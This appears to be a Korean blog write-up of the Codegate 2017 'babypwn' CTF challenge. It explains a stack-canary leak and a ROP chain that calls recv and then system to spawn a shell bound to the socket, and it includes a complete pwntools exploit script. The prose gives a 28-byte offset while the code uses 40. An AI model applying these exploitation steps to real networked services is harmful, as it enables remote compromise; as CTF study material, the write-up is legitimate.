write-up/pwnable

Codegate 2017 babypwn

범고래_1 2018. 8. 9. 17:29



까나리랑 NX가 걸려있다.



v2에서 스캔(recv)를 받으면서 취약점이 터진다.

그런데 v3에 까나리가 있다.

바로 다음줄에 puts가 있으므로 까나리 릭이 가능하다.


"A"*28 넣고 sendline으로 보내면 0x0a까지 들어가므로, 까나리 한 바이트를 덮는다. 그러면 릭이 가능하다(널을 만날 때 까지 출력하므로)

0x0a까지 넣어서 까나리 한 바이트를 덮는 것은... 

까나리가 00으로 끝나기 때문에, 딱 v2의 크기인 28바이트만 넣으면 까나리 출력이 안 된다.


그런데 바이너리에 서비스(?)로 system함수의 plt가 있다.



까나리 맞추고 더미 준 다음에 bss에 "/bin/sh\x00" 올리고 system 불러주면 뚝-딱인데, 이 바이너리는 socket을 여는 바이너리이다...

이렇게하면 서버에서 쉘이 따인다.


리버스 커넥션으로 쉘을 따도록 하자.


1. "A"*28 + sendline으로 보내서 까나리를 릭 한다.

2. while문이 돌고 있는 상태에서 릭 한것이고, 함수 종료가 안 되었기 때문에 smashing the stack은 감지되지 않는다.

3. "A"*28+까나리+dummy(0x0c) 맞춰주면 EIP control이 가능하다. (EBP-C에 까나리가 있으므로, 까나리 4바이트 + 더미 8바이트 후에 EBP가 나오므로, 0xc만큼 더미를 주면 EBP까지 덮힌다)

4. recv함수의 plt를 호출해서 문자열을 보낸다. ("/bin/sh >&4 0<&4\x00")

5. system함수의 plt를 호출해서 이 문자열을 실행한다.


fd는 4번이므로 "/bin/sh >&4 0<&4\x00"를 보내면 된다.


아래는 익스


from pwn import *
from time import sleep
s = remote('0', 8181)

e = ELF('./babypwn', checksec=False)
pppr = 0x8048b83
ppppr= 0x08048eec
bss = 0x0804B1B4
binsh = "/bin/sh >&4 0<&4\x00"

print s.recvuntil("Select menu > ")
s.sendline("1")
#sleep(0.4)
print s.recvuntil("Input Your Message : ")
s.sendline("A"*40)
s.recv(40)

leak = u32(s.recv(4))-0x0a
print 'leak :', hex(leak)

print s.recvuntil("Select menu > ")
s.sendline("1")
#sleep(0.4)
print s.recvuntil("Input Your Message : ")

payload = "A"*40
payload += p32(leak)
payload += "B"*12
payload += p32(e.plt['recv'])
payload += p32(ppppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len(binsh))
payload += p32(0)

payload += p32(e.plt['system'])
payload += "BBBB"
payload += p32(bss)

#sleep(0.5)
s.sendline(payload)
#sleep(0.5)
s.sendline("3")
#sleep(0.4)
s.sendline(binsh)
s.sendline(binsh)

s.interactive()


<삽질>

recv인자 네개가 아니라 세개인줄 알고 엄청 삽질했다...

이런 소켓 바이너리 분석할 땐 strace로 분석하면 편하다.

gdb로 할 땐 set follow-fork-mode child

strace로 할 땐 strace -if ./babypwn

i옵션은 도현이거 카피함ㅋ

'write-up > pwnable' 카테고리의 다른 글

PlaidCTF 2013 ropasaurusrex  (0) 2019.07.11
Codegate 2018 BaskinRobins31  (0) 2018.08.18
Codegate 2014 Nuclear  (0) 2018.08.14
Codegate 2014 Angrydoraemon  (0) 2018.08.09